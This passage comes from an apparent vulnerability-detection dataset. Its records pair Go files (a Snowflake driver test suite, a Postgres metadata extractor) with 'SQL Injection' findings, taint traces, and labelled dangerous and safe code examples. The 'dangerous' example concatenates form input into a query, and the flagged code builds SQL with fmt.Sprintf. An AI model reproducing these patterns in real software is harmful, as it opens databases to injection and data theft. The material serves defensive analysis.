{\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !success {\n\t\t\tdbt.Error(\"inserting []byte(nil) as NULL failed\")\n\t\t\tt.Fatal(\"stopping\")\n\t\t}\n\t\t// Check input==output with input==nil\n\t\tb = nil\n\t\tif err = dbt.db.QueryRow(\"SELECT ?\", b).Scan(&b); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif b != nil {\n\t\t\tdbt.Error(\"non-nil echo from nil input\")\n\t\t}\n\t\t// Check input==output with input!=nil\n\t\tb = []byte(\"\")\n\t\tif err = dbt.db.QueryRow(\"SELECT ?\", b).Scan(&b); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif b == nil {\n\t\t\tdbt.Error(\"nil echo from non-nil input\")\n\t\t}\n\n\t\t// Insert NULL\n\t\tdbt.mustExec(\"CREATE TABLE test (dummmy1 int, value int, dummy2 int)\")\n\t\tdbt.mustExec(\"INSERT INTO test VALUES (?, ?, ?)\", 1, nil, 2)\n\n\t\tvar out interface{}\n\t\trows := dbt.mustQuery(\"SELECT * FROM test\")\n\t\tdefer rows.Close()\n\t\tif rows.Next() {\n\t\t\trows.Scan(&out)\n\t\t\tif out != nil {\n\t\t\t\tdbt.Errorf(\"%v != nil\", out)\n\t\t\t}\n\t\t} else {\n\t\t\tdbt.Error(\"no data\")\n\t\t}\n\t})\n}\n\nfunc TestVariant(t *testing.T) {\n\ttestVariant(t, false)\n}\n\nfunc testVariant(t *testing.T, json bool) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tif json {\n\t\t\tdbt.mustExec(forceJSON)\n\t\t}\n\t\trows := dbt.mustQuery(`select parse_json('[{\"id\":1, \"name\":\"test1\"},{\"id\":2, \"name\":\"test2\"}]')`)\n\t\tdefer rows.Close()\n\t\tvar v string\n\t\tif rows.Next() {\n\t\t\tif err := rows.Scan(&v); err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t} else {\n\t\t\tt.Fatal(\"no rows\")\n\t\t}\n\t})\n}\n\nfunc TestArray(t *testing.T) {\n\ttestArray(t, false)\n}\n\nfunc testArray(t *testing.T, json bool) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tif json {\n\t\t\tdbt.mustExec(forceJSON)\n\t\t}\n\t\trows := dbt.mustQuery(`select as_array(parse_json('[{\"id\":1, \"name\":\"test1\"},{\"id\":2, \"name\":\"test2\"}]'))`)\n\t\tdefer rows.Close()\n\t\tvar v string\n\t\tif rows.Next() {\n\t\t\tif err := rows.Scan(&v); err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t} else {\n\t\t\tt.Fatal(\"no rows\")\n\t\t}\n\t})\n}\n\nfunc TestLargeSetResult(t *testing.T) {\n\tCustomJSONDecoderEnabled = false\n\ttestLargeSetResult(t, 100000, false)\n}\n\nfunc testLargeSetResult(t *testing.T, numrows int, json bool) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tif json {\n\t\t\tdbt.mustExec(forceJSON)\n\t\t}\n\t\trows := dbt.mustQuery(fmt.Sprintf(selectRandomGenerator, numrows))\n\t\tdefer rows.Close()\n\t\tcnt := 0\n\t\tvar idx int\n\t\tvar v string\n\t\tfor rows.Next() {\n\t\t\tif err := rows.Scan(&idx, &v); err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tcnt++\n\t\t}\n\t\tlogger.Infof(\"NextResultSet: %v\", rows.NextResultSet())\n\n\t\tif cnt != numrows {\n\t\t\tdbt.Errorf(\"number of rows didn't match. expected: %v, got: %v\", numrows, cnt)\n\t\t}\n\t})\n}\n\nfunc TestPingpongQuery(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tnumrows := 1\n\t\trows := dbt.mustQuery(\"SELECT DISTINCT 1 FROM TABLE(GENERATOR(TIMELIMIT=> 60))\")\n\t\tdefer rows.Close()\n\t\tcnt := 0\n\t\tfor rows.Next() {\n\t\t\tcnt++\n\t\t}\n\t\tif cnt != numrows {\n\t\t\tdbt.Errorf(\"number of rows didn't match. expected: %v, got: %v\", numrows, cnt)\n\t\t}\n\t})\n}\n\nfunc TestDML(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tdbt.mustExec(\"CREATE OR REPLACE TABLE test(c1 int, c2 string)\")\n\t\tif err := insertData(dbt, false); err != nil {\n\t\t\tdbt.Fatalf(\"failed to insert data: %v\", err)\n\t\t}\n\t\tresults, err := queryTest(dbt)\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"failed to query test table: %v\", err)\n\t\t}\n\t\tif len(*results) != 0 {\n\t\t\tdbt.Fatalf(\"number of returned data didn't match. expected 0, got: %v\", len(*results))\n\t\t}\n\t\tif err = insertData(dbt, true); err != nil {\n\t\t\tdbt.Fatalf(\"failed to insert data: %v\", err)\n\t\t}\n\t\tresults, err = queryTest(dbt)\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"failed to query test table: %v\", err)\n\t\t}\n\t\tif len(*results) != 2 {\n\t\t\tdbt.Fatalf(\"number of returned data didn't match. expected 2, got: %v\", len(*results))\n\t\t}\n\t})\n}\n\nfunc insertData(dbt *DBTest, commit bool) error {\n\ttx, err := dbt.db.Begin()\n\tif err != nil {\n\t\tdbt.Fatalf(\"failed to begin transaction: %v\", err)\n\t}\n\tres, err := tx.Exec(\"INSERT INTO test VALUES(1, 'test1'), (2, 'test2')\")\n\tif err != nil {\n\t\tdbt.Fatalf(\"failed to insert value into test: %v\", err)\n\t}\n\tn, err := res.RowsAffected()\n\tif err != nil {\n\t\tdbt.Fatalf(\"failed to rows affected: %v\", err)\n\t}\n\tif n != 2 {\n\t\tdbt.Fatalf(\"failed to insert value into test. expected: 2, got: %v\", n)\n\t}\n\tresults, err := queryTestTx(tx)\n\tif err != nil {\n\t\tdbt.Fatalf(\"failed to query test table: %v\", err)\n\t}\n\tif len(*results) != 2 {\n\t\tdbt.Fatalf(\"number of returned data didn't match. expected 2, got: %v\", len(*results))\n\t}\n\tif commit {\n\t\tif err = tx.Commit(); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tif err = tx.Rollback(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}\n\nfunc queryTestTx(tx *sql.Tx) (*map[int]string, error) {\n\tvar c1 int\n\tvar c2 string\n\trows, err := tx.Query(\"SELECT c1, c2 FROM test\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tresults := make(map[int]string, 2)\n\tfor rows.Next() {\n\t\tif err = rows.Scan(&c1, &c2); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresults[c1] = c2\n\t}\n\treturn &results, nil\n}\n\nfunc queryTest(dbt *DBTest) (*map[int]string, error) {\n\tvar c1 int\n\tvar c2 string\n\trows, err := dbt.db.Query(\"SELECT c1, c2 FROM test\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tresults := make(map[int]string, 2)\n\tfor rows.Next() {\n\t\tif err = rows.Scan(&c1, &c2); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresults[c1] = c2\n\t}\n\treturn &results, nil\n}\n\nfunc TestCancelQuery(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)\n\t\tdefer cancel()\n\n\t\t_, err := dbt.db.QueryContext(ctx, \"SELECT DISTINCT 1 FROM TABLE(GENERATOR(TIMELIMIT=> 100))\")\n\t\tif err == nil {\n\t\t\tdbt.Fatal(\"No timeout error returned\")\n\t\t}\n\t\tif err.Error() != \"context deadline exceeded\" {\n\t\t\tdbt.Fatalf(\"Timeout error mismatch: expect %v, receive %v\", context.DeadlineExceeded, err.Error())\n\t\t}\n\t})\n}\n\nfunc TestPing(t *testing.T) {\n\tdb := openDB(t)\n\tif err := db.Ping(); err != nil {\n\t\tt.Fatalf(\"failed to ping. err: %v\", err)\n\t}\n\tif err := db.PingContext(context.Background()); err != nil {\n\t\tt.Fatalf(\"failed to ping with context. err: %v\", err)\n\t}\n\tif err := db.Close(); err != nil {\n\t\tt.Fatalf(\"failed to close db. err: %v\", err)\n\t}\n\tif err := db.Ping(); err == nil {\n\t\tt.Fatal(\"should have failed to ping\")\n\t}\n\tif err := db.PingContext(context.Background()); err == nil {\n\t\tt.Fatal(\"should have failed to ping with context\")\n\t}\n}\n\nfunc TestDoubleDollar(t *testing.T) {\n\t// no escape is required for dollar signs\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tsql := `create or replace function dateErr(I double) returns date\nlanguage javascript strict\nas $$\n var x = [\n 0, \"1400000000000\",\n \"2013-04-05\",\n [], [1400000000000],\n \"x1234\",\n Number.NaN, null, undefined,\n {},\n [1400000000000,1500000000000]\n ];\n return x[I];\n$$\n;`\n\t\tdbt.mustExec(sql)\n\t})\n}\n\nfunc TestTimezoneSessionParameter(t *testing.T) {\n\tcreateDSN(PSTLocation)\n\tdb := openDB(t)\n\tdefer db.Close()\n\n\trows, err := db.Query(\"SHOW PARAMETERS LIKE 'TIMEZONE'\")\n\tif err != nil {\n\t\tt.Errorf(\"failed to run show parameters. err: %v\", err)\n\t}\n\tdefer rows.Close()\n\tif !rows.Next() {\n\t\tt.Fatal(\"failed to get timezone.\")\n\t}\n\n\tp, err := ScanSnowflakeParameter(rows)\n\tif err != nil {\n\t\tt.Errorf(\"failed to run get timezone value. err: %v\", err)\n\t}\n\tif p.Value != PSTLocation {\n\t\tt.Errorf(\"failed to get an expected timezone. got: %v\", p.Value)\n\t}\n\tcreateDSN(\"UTC\")\n}\n\nfunc TestLargeSetResultCancel(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tc := make(chan error)\n\t\tctx, cancel := context.WithCancel(context.Background())\n\t\tgo func() {\n\t\t\t// attempt to run a 100 seconds query, but it should be canceled in 1 second\n\t\t\ttimelimit := 100\n\t\t\trows, err := dbt.db.QueryContext(\n\t\t\t\tctx,\n\t\t\t\tfmt.Sprintf(\"SELECT COUNT(*) FROM TABLE(GENERATOR(timelimit=>%v))\", timelimit))\n\t\t\tif err != nil {\n\t\t\t\tc <- err\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer rows.Close()\n\t\t\tc <- nil\n\t\t}()\n\t\t// cancel after 1 second\n\t\ttime.Sleep(time.Second)\n\t\tcancel()\n\t\tret := <-c\n\t\tif ret.Error() != \"context canceled\" {\n\t\t\tt.Fatalf(\"failed to cancel. err: %v\", ret)\n\t\t}\n\t\tclose(c)\n\t})\n}\n\nfunc TestValidateDatabaseParameter(t *testing.T) {\n\tbaseDSN := fmt.Sprintf(\"%s:%s@%s\", username, pass, host)\n\ttestcases := []struct {\n\t\tdsn string\n\t\tparams map[string]string\n\t\terrorCode int\n\t}{\n\t\t{\n\t\t\tdsn: baseDSN + fmt.Sprintf(\"/%s/%s\", \"NOT_EXISTS\", \"NOT_EXISTS\"),\n\t\t\terrorCode: ErrObjectNotExistOrAuthorized,\n\t\t},\n\t\t{\n\t\t\tdsn: baseDSN + fmt.Sprintf(\"/%s/%s\", dbname, \"NOT_EXISTS\"),\n\t\t\terrorCode: ErrObjectNotExistOrAuthorized,\n\t\t},\n\t\t{\n\t\t\tdsn: baseDSN + fmt.Sprintf(\"/%s/%s\", dbname, schemaname),\n\t\t\tparams: map[string]string{\n\t\t\t\t\"warehouse\": \"NOT_EXIST\",\n\t\t\t},\n\t\t\terrorCode: ErrObjectNotExistOrAuthorized,\n\t\t},\n\t\t{\n\t\t\tdsn: baseDSN + fmt.Sprintf(\"/%s/%s\", dbname, schemaname),\n\t\t\tparams: map[string]string{\n\t\t\t\t\"role\": \"NOT_EXIST\",\n\t\t\t},\n\t\t\terrorCode: ErrRoleNotExist,\n\t\t},\n\t}\n\tfor idx, tc := range testcases {\n\t\tnewDSN := tc.dsn\n\t\tparameters := url.Values{}\n\t\tif protocol != \"\" {\n\t\t\tparameters.Add(\"protocol\", protocol)\n\t\t}\n\t\tif account != \"\" {\n\t\t\tparameters.Add(\"account\", account)\n\t\t}\n\t\tfor k, v := range tc.params {\n\t\t\tparameters.Add(k, v)\n\t\t}\n\t\tnewDSN += \"?\" + parameters.Encode()\n\t\tdb, err := sql.Open(\"snowflake\", newDSN)\n\t\t// actual connection won't happen until run a query\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"error creating a connection object: %s\", err.Error())\n\t\t}\n\t\tdefer db.Close()\n\t\tif _, err = db.Exec(\"SELECT 1\"); err == nil {\n\t\t\tt.Fatal(\"should cause an error.\")\n\t\t}\n\t\tif driverErr, ok := err.(*SnowflakeError); ok {\n\t\t\tif driverErr.Number != tc.errorCode { // not exist error\n\t\t\t\tt.Errorf(\"got unexpected error: %v in %v\", err, idx)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestSpecifyWarehouseDatabase(t *testing.T) {\n\tdsn := fmt.Sprintf(\"%s:%s@%s/%s\", username, pass, host, dbname)\n\tparameters := url.Values{}\n\tparameters.Add(\"account\", account)\n\tparameters.Add(\"warehouse\", warehouse)\n\t// parameters.Add(\"role\", \"nopublic\") TODO: create nopublic role for test\n\tif protocol != \"\" {\n\t\tparameters.Add(\"protocol\", protocol)\n\t}\n\tdb, err := sql.Open(\"snowflake\", dsn+\"?\"+parameters.Encode())\n\tif err != nil {\n\t\tt.Fatalf(\"error creating a connection object: %s\", err.Error())\n\t}\n\tdefer db.Close()\n\tif _, err = db.Exec(\"SELECT 1\"); err != nil {\n\t\tt.Fatalf(\"failed to execute a select 1: %v\", err)\n\t}\n}\n\nfunc TestFetchNil(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\trows := dbt.mustQuery(\"SELECT * FROM values(3,4),(null, 5) order by 2\")\n\t\tdefer rows.Close()\n\t\tvar c1 sql.NullInt64\n\t\tvar c2 sql.NullInt64\n\n\t\tvar results []sql.NullInt64\n\t\tfor rows.Next() {\n\t\t\tif err := rows.Scan(&c1, &c2); err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\t\t\tresults = append(results, c1)\n\t\t}\n\t\tif results[1].Valid {\n\t\t\tt.Errorf(\"First element of second row must be nil (NULL). %v\", results)\n\t\t}\n\t})\n}\n\nfunc TestPingInvalidHost(t *testing.T) {\n\tconfig := Config{\n\t\tAccount: \"NOT_EXISTS\",\n\t\tUser: \"BOGUS_USER\",\n\t\tPassword: \"barbar\",\n\t\tLoginTimeout: 10 * time.Second,\n\t}\n\n\ttestURL, err := DSN(&config)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to parse config. config: %v, err: %v\", config, err)\n\t}\n\n\tdb, err := sql.Open(\"snowflake\", testURL)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to initalize the connetion. err: %v\", err)\n\t}\n\tctx := context.Background()\n\tif err = db.PingContext(ctx); err == nil {\n\t\tt.Fatal(\"should cause an error\")\n\t}\n\tif driverErr, ok := err.(*SnowflakeError); !ok || ok && driverErr.Number != ErrCodeFailedToConnect {\n\t\t// Failed to connect error\n\t\tt.Fatalf(\"error didn't match\")\n\t}\n}\n\nfunc TestOpenWithConfig(t *testing.T) {\n\tconfig, err := ParseDSN(dsn)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to parse dsn. err: %v\", err)\n\t}\n\tdriver := SnowflakeDriver{}\n\tdb, err := driver.OpenWithConfig(context.Background(), *config)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to open with config. config: %v, err: %v\", config, err)\n\t}\n\tdb.Close()\n}\n\ntype CountingTransport struct {\n\trequests int\n}\n\nfunc (t *CountingTransport) RoundTrip(r *http.Request) (*http.Response, error) {\n\tt.requests++\n\treturn snowflakeInsecureTransport.RoundTrip(r)\n}\n\nfunc TestOpenWithTransport(t *testing.T) {\n\tconfig, err := ParseDSN(dsn)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to parse dsn. err: %v\", err)\n\t}\n\tcountingTransport := CountingTransport{}\n\tvar transport http.RoundTripper = &countingTransport\n\tconfig.Transporter = transport\n\tdriver := SnowflakeDriver{}\n\tdb, err := driver.OpenWithConfig(context.Background(), *config)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to open with config. config: %v, err: %v\", config, err)\n\t}\n\tconn := db.(*snowflakeConn)\n\tif conn.rest.Client.Transport != transport {\n\t\tt.Fatal(\"transport doesn't match\")\n\t}\n\tdb.Close()\n\tif countingTransport.requests == 0 {\n\t\tt.Fatal(\"transport did not receive any requests\")\n\t}\n\n\t// Test that transport override also works in insecure mode\n\tcountingTransport.requests = 0\n\tconfig.InsecureMode = true\n\tdb, err = driver.OpenWithConfig(context.Background(), *config)\n\tif err != nil {\n\t\tt.Fatalf(\"failed to open with config. config: %v, err: %v\", config, err)\n\t}\n\tconn = db.(*snowflakeConn)\n\tif conn.rest.Client.Transport != transport {\n\t\tt.Fatal(\"transport doesn't match\")\n\t}\n\tdb.Close()\n\tif countingTransport.requests == 0 {\n\t\tt.Fatal(\"transport did not receive any requests\")\n\t}\n}\n\nfunc createDSNWithClientSessionKeepAlive() {\n\tdsn = fmt.Sprintf(\"%s:%s@%s/%s/%s\", username, pass, host, dbname, schemaname)\n\n\tparameters := url.Values{}\n\tparameters.Add(\"client_session_keep_alive\", \"true\")\n\tif protocol != \"\" {\n\t\tparameters.Add(\"protocol\", protocol)\n\t}\n\tif account != \"\" {\n\t\tparameters.Add(\"account\", account)\n\t}\n\tif warehouse != \"\" {\n\t\tparameters.Add(\"warehouse\", warehouse)\n\t}\n\tif rolename != \"\" {\n\t\tparameters.Add(\"role\", rolename)\n\t}\n\tif len(parameters) > 0 {\n\t\tdsn += \"?\" + parameters.Encode()\n\t}\n}\n\nfunc TestClientSessionKeepAliveParameter(t *testing.T) {\n\t// This test doesn't really validate the CLIENT_SESSION_KEEP_ALIVE functionality but simply checks\n\t// the session parameter.\n\tcreateDSNWithClientSessionKeepAlive()\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\trows := dbt.mustQuery(\"SHOW PARAMETERS LIKE 'CLIENT_SESSION_KEEP_ALIVE'\")\n\t\tif !rows.Next() {\n\t\t\tt.Fatal(\"failed to get timezone.\")\n\t\t}\n\n\t\tp, err := ScanSnowflakeParameter(rows.rows)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"failed to run get client_session_keep_alive value. err: %v\", err)\n\t\t}\n\t\tif p.Value != \"true\" {\n\t\t\tt.Fatalf(\"failed to get an expected client_session_keep_alive. got: %v\", p.Value)\n\t\t}\n\n\t\trows = dbt.mustQuery(\"select count(*) from table(generator(timelimit=>30))\")\n\t\tdefer rows.Close()\n\t})\n}\n\nfunc TestTimePrecision(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tdbt.mustExec(\"create or replace table z3 (t1 time(5))\")\n\t\trows := dbt.mustQuery(\"select * from z3\")\n\t\tcols, err := rows.ColumnTypes()\n\t\tif err != nil {\n\t\t\tt.Error(err)\n\t\t}\n\t\tif pres, _, ok := cols[0].DecimalSize(); pres != 5 || !ok {\n\t\t\tt.Fatalf(\"Wrong value returned. Got %v instead of 5.\", pres)\n\t\t}\n\t})\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 126, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Sprintf"}}, {"lineNo": 126, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 126, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "1224e501a9ffaf5031e34c51ecdd26e0af072c2525ee3fc7a3f5a0218d58a63e", "license": {"spdx": ["Apache-2.0"], "repo": "ishanarya0/meteor", "path": "plugins/extractors/postgres/postgres.go", "repo_head_hexsha": "ca2d57ebd07f78d4ef2d2f7c3a26734641506444", "stack_hexsha": "186f7cbcd5f69783a5d4853503b86baac451c4ae", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 157, "entireCode": "package postgres\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t_ \"embed\" // // used to print the embedded assets\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\n\t_ \"github.com/lib/pq\" // used to register the postgres driver\n\t\"github.com/odpf/meteor/models\"\n\tcommonv1beta1 \"github.com/odpf/meteor/models/odpf/assets/common/v1beta1\"\n\tfacetsv1beta1 \"github.com/odpf/meteor/models/odpf/assets/facets/v1beta1\"\n\tassetsv1beta1 \"github.com/odpf/meteor/models/odpf/assets/v1beta1\"\n\t\"github.com/odpf/meteor/plugins\"\n\t\"github.com/odpf/meteor/registry\"\n\t\"github.com/odpf/meteor/utils\"\n\t\"github.com/odpf/salt/log\"\n)\n\n//go:embed README.md\nvar summary string\n\nvar defaults = []string{\"information_schema\", \"root\", \"postgres\"}\n\n// Config holds the set of configuration options for the extractor\ntype Config struct {\n\tUserID string `mapstructure:\"user_id\" validate:\"required\"`\n\tPassword string `mapstructure:\"password\" validate:\"required\"`\n\tHost string `mapstructure:\"host\" validate:\"required\"`\n\tDatabase string `mapstructure:\"database\" default:\"postgres\"`\n\tExclude string `mapstructure:\"exclude\"`\n}\n\nvar sampleConfig = `\nhost: localhost:1433\nuser_id: admin\npassword: \"\"\ndatabase: database_name\nexclude: postgres`\n\n// Extractor manages the extraction of data from the extractor\ntype Extractor struct {\n\tlogger log.Logger\n\tconfig Config\n\tdb *sql.DB\n}\n\n// New returns a pointer to an initialized Extractor Object\nfunc New(logger log.Logger) *Extractor {\n\treturn &Extractor{\n\t\tlogger: logger,\n\t}\n}\n\n// Info returns the brief information about the extractor\nfunc (e *Extractor) Info() plugins.Info {\n\treturn plugins.Info{\n\t\tDescription: \"Table metadata and metrics from Postgres SQL sever.\",\n\t\tSampleConfig: sampleConfig,\n\t\tSummary: summary,\n\t\tTags: []string{\"oss\", \"extractor\"},\n\t}\n}\n\n// Validate validates the configuration of the extractor\nfunc (e *Extractor) Validate(configMap map[string]interface{}) (err error) {\n\treturn utils.BuildConfig(configMap, &Config{})\n}\n\n// Init initializes the extractor\nfunc (e *Extractor) Init(ctx context.Context, config map[string]interface{}) (err error) {\n\t// Build and validate config received from recipe\n\tif err := utils.BuildConfig(config, &e.config); err != nil {\n\t\treturn plugins.InvalidConfigError{}\n\t}\n\n\t// Create database connection\n\te.db, err = connection(e.config, e.config.Database)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to create connection\")\n\t}\n\n\treturn\n}\n\n// Extract collects metadata from the source. Metadata is collected through the emitter\nfunc (e *Extractor) Extract(ctx context.Context, emit plugins.Emit) (err error) {\n\tdefer e.db.Close()\n\n\t// Get list of databases\n\tdbs, err := e.getDatabases()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to fetch databases\")\n\t}\n\n\t// Iterate through all tables and databases\n\tfor _, database := range dbs {\n\t\t// Open a new connection to the given database to collect\n\t\t// tables information without this default database\n\t\t// information will be returned\n\t\tdb, err := connection(e.config, database)\n\t\tif err != nil {\n\t\t\te.logger.Error(\"failed to connect, skipping database\", \"error\", err)\n\t\t\tcontinue\n\t\t}\n\t\ttables, err := e.getTables(db, database)\n\t\tif err != nil {\n\t\t\te.logger.Error(\"failed to get tables, skipping database\", \"error\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, table := range tables {\n\t\t\tresult, err := e.getTableMetadata(db, database, table)\n\t\t\tif err != nil {\n\t\t\t\te.logger.Error(\"failed to get table metadata, skipping table\", \"error\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Publish metadata to channel\n\t\t\temit(models.NewRecord(result))\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (e *Extractor) getDatabases() (list []string, err error) {\n\tres, err := e.db.Query(\"SELECT datname FROM pg_database WHERE datistemplate = false;\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\texcludeList := append(defaults, strings.Split(e.config.Exclude, \",\")...)\n\n\tfor res.Next() {\n\t\tvar database string\n\t\terr := res.Scan(&database)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif exclude(excludeList, database) {\n\t\t\tcontinue\n\t\t}\n\t\tlist = append(list, database)\n\t}\n\treturn list, nil\n}\n\nfunc (e *Extractor) getTables(db *sql.DB, dbName string) (list []string, err error) {\n\tsqlStr := `SELECT table_name\n\tFROM information_schema.tables\n\tWHERE table_schema = 'public'\n\tORDER BY table_name;`\n\n\t_, err = db.Exec(fmt.Sprintf(\"SET search_path TO %s, public;\", dbName))\n\tif err != nil {\n\t\treturn\n\t}\n\trows, err := db.Query(sqlStr)\n\tif err != nil {\n\t\treturn\n\t}\n\tfor rows.Next() {\n\t\tvar table string\n\t\terr = rows.Scan(&table)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tlist = append(list, table)\n\t}\n\treturn list, err\n}\n\n// Prepares the list of tables and the attached metadata\nfunc (e *Extractor) getTableMetadata(db *sql.DB, dbName string, tableName string) (result *assetsv1beta1.Table, err error) {\n\tvar columns []*facetsv1beta1.Column\n\tcolumns, err = e.getColumnMetadata(db, dbName, tableName)\n\tif err != nil {\n\t\treturn result, nil\n\t}\n\n\tresult = &assetsv1beta1.Table{\n\t\tResource: &commonv1beta1.Resource{\n\t\t\tUrn: models.TableURN(\"postgres\", e.config.Host, dbName, tableName),\n\t\t\tName: tableName,\n\t\t\tService: \"postgres\",\n\t\t},\n\t\tSchema: &facetsv1beta1.Columns{\n\t\t\tColumns: columns,\n\t\t},\n\t}\n\n\treturn\n}\n\n// Prepares the list of columns and the attached metadata\nfunc (e *Extractor) getColumnMetadata(db *sql.DB, dbName string, tableName string) (result []*facetsv1beta1.Column, err error) {\n\tsqlStr := `SELECT COLUMN_NAME,DATA_TYPE,\n\t\t\t\tIS_NULLABLE,coalesce(CHARACTER_MAXIMUM_LENGTH,0)\n\t\t\t\tFROM information_schema.columns\n\t\t\t\tWHERE TABLE_NAME = '%s' ORDER BY COLUMN_NAME ASC;`\n\trows, err := db.Query(fmt.Sprintf(sqlStr, tableName))\n\tif err != nil {\n\t\terr = errors.Wrap(err, \"failed to fetch data from query\")\n\t\treturn\n\t}\n\tfor rows.Next() {\n\t\tvar fieldName, dataType, isNullableString string\n\t\tvar length int\n\t\tif err = rows.Scan(&fieldName, &dataType, &isNullableString, &length); err != nil {\n\t\t\te.logger.Error(\"failed to get fields\", \"error\", err)\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, &facetsv1beta1.Column{\n\t\t\tName: fieldName,\n\t\t\tDataType: dataType,\n\t\t\tIsNullable: isNullable(isNullableString),\n\t\t\tLength: int64(length),\n\t\t})\n\t}\n\treturn result, nil\n}\n\n// Convert nullable string to a boolean\nfunc isNullable(value string) bool {\n\treturn value == \"YES\"\n}\n\n// connection generates a connection string\nfunc connection(cfg Config, database string) (db *sql.DB, err error) {\n\tconnStr := fmt.Sprintf(\"postgres://%s:%s@%s/%s?sslmode=disable\", cfg.UserID, cfg.Password, cfg.Host, database)\n\treturn sql.Open(\"postgres\", connStr)\n}\n\n// Exclude checks if the database is in the ignored databases\nfunc exclude(names []string, database string) bool {\n\tfor _, b := range names {\n\t\tif b == database {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// Register the extractor to catalog\nfunc init() {\n\tif err := registry.Extractors.Register(\"postgres\", func() plugins.Extractor {\n\t\treturn &Extractor{\n\t\t\tlogger: plugins.GetLog(),\n\t\t}\n\t}); err != nil {\n\t\tpanic(err)\n\t}\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. 